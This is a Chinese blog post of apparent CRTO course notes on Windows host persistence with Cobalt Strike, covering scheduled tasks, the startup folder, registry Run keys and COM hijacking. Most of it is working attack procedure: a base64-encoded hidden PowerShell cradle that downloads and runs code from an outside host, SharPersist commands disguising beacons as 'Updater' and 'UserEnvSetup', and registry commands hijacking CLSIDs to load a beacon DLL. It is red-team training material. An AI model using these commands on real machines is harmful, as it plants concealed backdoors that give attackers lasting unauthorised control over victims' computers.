首页 > 其他分享 >【CRTO】主机持久化

【CRTO】主机持久化

时间:2024-10-06 16:11:30浏览次数:1  
标签:INFO Task 持久 Windows 主机 exe CLSID CRTO HKCU

一、概述

二、计划任务

三、启动文件夹

四、注册表自动运行

五、COM劫持

本章主要是通过计划任务、启动文件夹、注册表自动运行、COM劫持等方法进行持久化后门安装

一、概述

简单来说持久化就是开后门,目标机器重启或者漏洞修补后仍可以继续控制,比如通过钓鱼获得初始权限后,如果没做持久化Beacon 丢失可能就很难再次获得,安装持久化通常需要进行一些配置更改或将后门写入磁盘,一方面持久化具有很高的检测风险,另一方面在长期渗透中非常有用(实际上是必不可少的),因此需要在保持控制和被发现之间进行平衡

持久化可以在用户权限(例如以当前用户身份)或在提权后(例如 SYSTEM)执行。提权后的持久化要求我们首先成为主机上的本地管理员,如何提权将在接下来“特权提升”章节中介绍

常见的用户空间持久化方法包括:

1、HKCU/HKLM 注册表自动运行
2、计划任务
3、启动文件夹

Cobalt Strike 不包含任何专门用于持久化的内置命令

SharPersist是FireEye编写的 Windows 持久化工具包,它用 C# 编写,因此可以通过execute-assembly执行

二、计划任务

Windows 计划任务允许我们创建在预定触发器上执行的“任务”。该触发器可以是一天中的某个时间、用户登录时、计算机空闲时、计算机锁定时,或者上述情况的组合

例如创建一个计划任务,每小时执行一次 PowerShell 有效负载

为了避免在 IEX 命令中处理大量引号,可以将其编码为 base64,然后使用PowerShell 中的-EncodedCommand参数执行它(简写为-enc),注意必须使用 Unicode 编码(而不是 UTF8 或 ASCII),在 PowerShell 中:

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

或在Linux中:

ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

然后在Cobalt Strike客户端中执行

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly

[*] INFO: Adding scheduled task persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: Scheduled Task Name: Updater
[*] INFO: Option: hourly
[+] SUCCESS: Scheduled task added

其中:

-t是所需的持久性技术
-c是需要执行的命令
-a是该命令的任何参数
-n是任务的名称
-m是参数add是添加任务(也可以remove、check和list)
-o是任务频率

登录Workstation 2机器,打开计划任务程序,在左侧菜单中选择任务计划程序库,可以看到新加的任务在主窗口中,可以等待一个小时,或者在该任务上点击右侧菜单中的运行,就会上线一个新的Beacon

三、启动文件夹

用户每次登录时,启动文件夹中的应用程序、文件和快捷方式会自动启动,通常用来引导用户的环境配置(设置壁纸、快捷方式等),可以通过Cobalt Strike客户端中执行

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add

[*] INFO: Adding startup folder persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: File Name: UserEnvSetup
[+] SUCCESS: Startup folder persistence created
[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk
[*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1F0DA3FF444D9B7244C41370B88061472933B2607A169BC

其中:

-f是要保存的文件名

登录Workstation 2 查看 C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 中文件,注销后重新登录看效果

四、注册表自动运行

HKCU 和 HKLM 中的 AutoRun 值允许应用程序在开机时启动,通常这些值用于启动本机和第三方应用程序,例如软件更新程序、下载助手、驱动程序实用程序等

beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add

[*] INFO: Adding registry persistence
[*] INFO: Command: C:\ProgramData\Updater.exe
[*] INFO: Command Args: /q /n
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[*] INFO: Registry Value: Updater
[*] INFO: Option: 
[+] SUCCESS: Registry persistence added

其中:

-k是需要修改的注册表项
-v是要创建的注册表项的名称

重启后测试效果

注意:

1、HKLM 自动运行并不是以 SYSTEM 身份执行有效负载

2、只有当配置单元的所有者登录到计算机时,HKCU 自动运行才会触发

3、当任何用户登录到计算机时,HKLM 自动运行都会触发,但它仍以用户帐户权限运行

五、COM劫持

尽量不要劫持正在使用的 COM 对象,这会破坏依赖它们的应用程序运行,可能暴露攻击行为

尽量找试图加载实际上不存在的对象(所谓的“废弃”键)的应用程序,这是一种更安全的策略

可以使用进程监视器(Sysinternals Suite工具之一),它可以显示实时文件系统、注册表和进程活动,在查找不同类型的特权升级方面非常有用,首先在自己的机器上寻找劫持,然后在实际目标上利用它们,在Attacker Desktop虚拟机上启动procmon64.exe

筛选如下操作:

1、RegOpenKey 操作
2、结果为NAME NOT FOUND
3、并且路径以InprocServer32结尾

为了加快收集速度,可以进行一些常规操作,比如单击任意内容、进入 Windows 菜单、启动应用程序等。大约一分钟有大约 500 个事件,其中大部分来自 Explorer,一些来自第三方软件,其他来自 OS 组件

需要注意的是特定 CLSID 的加载次数,如果劫持了一个每隔几秒加载一次的 CLSID,那要付出很大代价了

所以最好去寻找一个加载频率不高或在打开常用应用程序(Word、Excel、Outlook 等)时加载的 CLSID

通过滚动浏览,发现一个 CLSID 正在由C:\Windows\System32\DllHost.exe加载

HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

使用 PowerShell 命令检测该条目确实存在于 HKLM 中,但不存在于 HKCU 中

PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

Name                           Property
----                           --------
InprocServer32                 (default)      : C:\Windows\System32\thumbcache.dll
                               ThreadingModel : Apartment
PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.

利用此漏洞,可在 HKCU 中创建必要的注册表项,并将其指向 Beacon DLL,比如直接将其指向C:\Payloads\http_x64.dll

PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

当DllHost.exe加载此 COM 条目时,一个 Beacon上线

要清理 COM 劫持只需从 HKCU 中删除注册表项并删除 DLL即可

另一个寻找可劫持 COM 组件的方法是计划任务程序,许多默认的 Windows 任务实际上使用自定义触发器来调用 COM 对象,而不是直接在磁盘上执行二进制文件,由于它们是通过计划任务程序执行的,因此更容易预测它们何时会被触发。我们可以使用以下 PowerShell 来查找兼容的任务

$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

这个脚本很简单,输出结果如下:

Task Name:  SystemSoundsService
Task Path:  \Microsoft\Windows\Multimedia\
CLSID:  {2DEA658F-54C1-4227-AF9B-260AB5FC3543}

Task Name:  MsCtfMonitor
Task Path:  \Microsoft\Windows\TextServicesFramework\
CLSID:  {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}

Task Name:  Calibration Loader
Task Path:  \Microsoft\Windows\WindowsColorSystem\
CLSID:  {B210D694-C8DF-490D-9576-9E20CDBC20BD}

Task Name:  CacheTask
Task Path:  \Microsoft\Windows\Wininet\
CLSID:  {0358B920-0AC7-461F-98F4-58E32CD89148}

在计划任务程序中查看MsCtfMonitor 任务,可以看到它是在任何用户登录时触发,可以起到有效的重启持久化作用

在HKEY_CLASSES_ROOT\CLSID中查找 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} 项

PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\MsCtfMonitor.dll
               ThreadingModel : Both

可以看到InprocServer32,并且可以验证它在 HKLM 而不是 HKCU 中

PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

现在只需在 HKCU 中添加一个指向我们的 DLL 的重复条目(如上所示),每次用户登录时都会加载

​#参考

标签:INFO,Task,持久,Windows,主机,exe,CLSID,CRTO,HKCU
From: https://www.cnblogs.com/o-O-oO/p/18359369

相关文章

  • hadoop初学篇之三——公网全分布式部署主机IP导致的问题
    不管是内网集群,还是公网集群(当然一般情况不会这么做),建议这个步骤都不要忽略。内网不一定会出现这个问题,但是公网不做肯定有问题!前提:在阿里云公网部署三台ecs,都有公网IP,内网有通有不通(测试公网所以忽略);按照全分布模式部署,按照JDK(8)、Hadoop(2.10),各种配置完毕,namenode格式化成功后,s......
  • Centos使用nmap扫描远程主机
    按网段扫描[root@sre01~]#nmap-v-sn192.168.236.0/24StartingNmap6.40(http://nmap.org)at2024-10-0315:16CSTInitiatingARPPingScanat15:16Scanning255hosts[1port/host]adjust_timeouts2:packetsupposedlyhadrttof-122600microseconds.Ign......
  • 自动化运维-修改主机名&hosts文件脚本
    脚本:#!/bin/bash#提示用户输入新的主机名read-p"请输入新的主机名:"NEW_HOSTNAME#检查是否提供了新主机名if[-z"$NEW_HOSTNAME"];thenecho"错误:没有输入新的主机名。"exit1fi#备份原有的hostname文件sudocp/etc/hostname/etc/hostname.......
  • 高级java每日一道面试题-2024年9月30日-服务器篇[Redis篇]-Redis持久化有几种方式?
    如果有遗漏,评论区告诉我进行补充面试官:Redis持久化有几种方式?我回答:Redis是一个高性能的键值存储系统,常用于缓存、消息队列和实时数据分析等场景。为了保证数据的持久性,Redis提供了两种主要的持久化方式:RDB(RedisDatabaseBackup)和AOF(AppendOnlyFile)。这两种方......
  • LInux基础——裸金属主机重装系统进入kernel Panic
    裸金属主机重装系统进入kernelPanic1、问题描述       租户裸金属主机重装系统,重启后进入”endKernelpanic–notsyncing:Fatalexception”; 2、问题分析  i.内存问题(非此类问题,忽略)     按照问题描述内核回退Calltrace是__pte_alloc内核物理内存调......
  • PbootCms后台登陆不显示验证码【阿里云虚拟主机】
    问题描述在使用阿里云虚拟主机部署PBootCMS时,后台登录界面不显示验证码图片。这通常是由于阿里云虚拟主机的配置问题导致的。解决方案登录阿里云控制台进入虚拟主机管理进入高级环境设置编辑 php.ini 文件详细步骤登录阿里云控制台登录阿里云官网:https://www.al......
  • 小主机虚拟化平台搭建记录
    小主机搭建虚拟化的一些记录:1,如果主机是Intel平台,目前建议还是使用VMwareEsxi6.7,如果你的主机网卡驱动没有包含在ESXI官方安装包内,去恩山找封装了网卡驱动的版本https://www.right.com.cn/FORUM/thread-7881507-1-1.html 2,如果你的主机是AMD平台,并且是ZEN系列,那么优先选......
  • PbootCMS在阿里云主机上邮件发送失败:服务器已经禁用stream_socket_client和fsockopen
    当你遇到PBootCMS网站的留言邮件通知功能失效,并且提示“服务器已经禁用 stream_socket_client 和 fsockopen 函数,请至少开启一个才能发送邮件!”时,这通常是因为服务器的安全策略禁用了这些函数。解决方法如下:步骤1:检查服务器配置登录阿里云主机管理后台:登录阿里云控制台......
  • (可持久化)权值线段树
    权值线段树就是把类型存在线段树上,每个下标存的是类型的数量。可以用来做离线的平衡树,如果值域范围小的话可以在线,只有一只\(\log\)。平衡树六种操作:插入\(x\)就是把\(x\)上的值加\(1\)。modify(1,1,n,x,1);删除一个\(x\)就是把\(x\)上的值加\(-1\)。modify(1,......
  • ESXi 5.5主机ssh开启的三种方法
    ESXi5.5是直接安装在物理主机上的一个虚拟机系统,本质上是一个Linux系统。平时可以通过VMwareClient端或者VMwarevCenter进行管理,但对于一些特殊的VMware命令或设置更改,有时需要连接到VMware主机进行操作,这就需要ESXi主机的ssh是开通的。由于ESXi主机是创建虚拟机的基础,非常......